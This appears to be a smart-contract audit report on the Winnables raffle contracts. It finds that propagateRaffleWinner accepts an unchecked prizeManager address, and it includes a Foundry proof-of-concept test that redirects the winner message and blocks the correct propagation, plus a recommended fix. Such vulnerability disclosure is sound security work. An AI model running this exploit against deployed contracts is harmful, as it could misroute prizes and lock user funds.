Harsh Merlot Bird

Medium

# No authorized check for msg.sender and prizeManager param in propagateRaffleWinner during message propagation to the prizeManager

## Summary
- No authorized check for msg.sender and prizeManager param in propagateRaffleWinner

## Vulnerability Detail
### poc 
```solidity
//// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

import {WinnablesPrizeManager} from "contracts/WinnablesPrizeManager.sol";
import {WinnablesTicketManager} from "contracts/WinnablesTicketManager.sol";
import {WinnablesTicket} from "contracts/WinnablesTicket.sol";
import {Test, console2} from "forge-std/Test.sol";
import {IRouterClient, WETH9, LinkToken, BurnMintERC677Helper} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol";
import {CCIPLocalSimulator} from "@chainlink/local/src/ccip/CCIPLocalSimulator.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

contract Aud is Test {
    using ECDSA for bytes32;

    WinnablesPrizeManager internal wpm;
    WinnablesTicketManager internal wtm;
    WinnablesTicket internal t;
    CCIPLocalSimulator public ccipLocalSimulator;
    uint64 public destinationChainSelector;
    IRouterClient sourceRouter;
    IRouterClient destinationRouter;
    WETH9 wrappedNative;
    LinkToken linkToken;
    BurnMintERC677Helper ccipBnM;
    BurnMintERC677Helper ccipLnM;

    address api = 0xbB644dbda99AA52c86411cD75c07b78f0986B790;
    uint256 apiPk = 0x0f9fc2463717b6c2f779f12f7b950d4bd41a0b7d0a59d42d70a54d20c9298eb8;
    address user01 = makeAddr("user01");
    address user02 = makeAddr("user02");
    address user03 = makeAddr("user03");

    function setUp() public {
        ccipLocalSimulator = new CCIPLocalSimulator();

        (destinationChainSelector, sourceRouter, destinationRouter, wrappedNative, linkToken, ccipBnM, ccipLnM) =
            ccipLocalSimulator.configuration();

        t = new WinnablesTicket();
        wpm = new WinnablesPrizeManager(address(linkToken), address(destinationRouter));
        wtm = new WinnablesTicketManager(
            address(linkToken), address(this), 8403, bytes32(abi.encode("")), address(t), address(sourceRouter)
        );
        t.setRole(address(wtm), 1, true);
        wtm.setCCIPCounterpart(address(wpm), destinationChainSelector, true);
        wtm.setRole(api, 1, true);
        wpm.setCCIPCounterpart(address(wtm), destinationChainSelector, true);
    }

    ///create raffle, buy tickets , draw winner , withdraw win
    function test_improper_propagate() external {
        wpm.lockETH{value: 10 ether}(address(wtm), destinationChainSelector, 1, 10 ether);
        wtm.createRaffle(
            1, uint64(block.timestamp), uint64(block.timestamp + 24 hours), uint32(2500), uint32(5000), uint32(1500)
        );

        bytes memory _sig1 = _apiBuy(user01, wtm.getNonce(user01), 1, 1000, block.number, 1 ether);
        deal(user01, 1 ether);
        vm.prank(user01);
        wtm.buyTickets{value: 1 ether}(1, uint16(1000), block.number, _sig1);

        bytes memory _sig2 = _apiBuy(user02, wtm.getNonce(user02), 1, 1500, block.number, 1 ether);
        deal(user02, 1 ether);
        vm.prank(user02);
        wtm.buyTickets{value: 1 ether}(1, uint16(1500), block.number, _sig2);

        bytes memory _sig3 = _apiBuy(user03, wtm.getNonce(user03), 1, 1400, block.number, 1 ether);
        deal(user03, 1 ether);
        vm.prank(user03);
        wtm.buyTickets{value: 1 ether}(1, uint16(1400), block.number, _sig3);

        //todo how does VRFConsumerBaseV2 work in depth and how can it affect propagate
        skip(1.5 days);
        wtm.drawWinner(1);
        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = uint256(112233445566);
        //simulate fufill
        wtm.rawFulfillRandomWords(32, randomWords);
        wtm.propagateRaffleWinner(address(this), destinationChainSelector, 1);
        vm.expectRevert();
        wtm.propagateRaffleWinner(address(wpm), destinationChainSelector, 1);
    }
    
    function requestRandomWords(
        bytes32 keyHash,
        uint64 subId,
        uint16 minimumRequestConfirmations,
        uint32 callbackGasLimit,
        uint32 numWords
    ) external returns (uint256 requestId) {
        requestId =
            uint256(bytes32(abi.encode(keyHash, subId, minimumRequestConfirmations, callbackGasLimit, numWords)));
    }

    function _apiBuy(
        address _buyer,
        uint256 _nonce,
        uint256 raffleId,
        uint16 ticketCount,
        uint256 blockNumber,
        uint256 value
    ) internal returns (bytes memory signature) {
        bytes32 digest = keccak256(abi.encodePacked(_buyer, _nonce, raffleId, ticketCount, blockNumber, value))
            .toEthSignedMessageHash();

        vm.startPrank(api);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(uint256(apiPk), digest);
        signature = abi.encodePacked(r, s, v);
        vm.stopPrank();
    }
}

```
- After the raffle has been fufilled from chainlink vrf(https://snowtrace.io/address/0xd5D517aBE5cF79B7e95eC98dB0f0277788aFF634/contract/43114/code?chainid=43114), supplying the proof and request params, propagateRaffleWinner, doesnt check if the prizeManager used is the correct one, a malicious user can use a crafted prizeManager to receive the chainlink ccip message instead on the target chain or anychain supplied 
- This would cause propagateRaffleWinner to always to revert whenever the correct prizeManager is supplied since the raffle status has changed [here](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L336)
```solidity
function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external {
        Raffle storage raffle = _raffles[raffleId];
        if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus();
        raffle.status = RaffleStatus.PROPAGATED;
        address winner = _getWinnerByRequestId(raffle.chainlinkRequestId);

        _sendCCIPMessage(
            prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)
        );
        IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId);
        unchecked {
            _lockedETH -= raffle.totalRaised; //@audit here
        }
}
```
## Impact
Since the lockedETH storage var is also been deducted here , this would automatically cause the function uncallable
https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L343
```solidity
 unchecked {
            _lockedETH -= raffle.totalRaised;
        }
```
## Code Snippet
- https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334
## Tool used
- vscode
- manual Review

## Recommendation
- prizeManager on the chain where the prize would be locked should be checked for or stored in the storage nd be checked for msg.sender is checked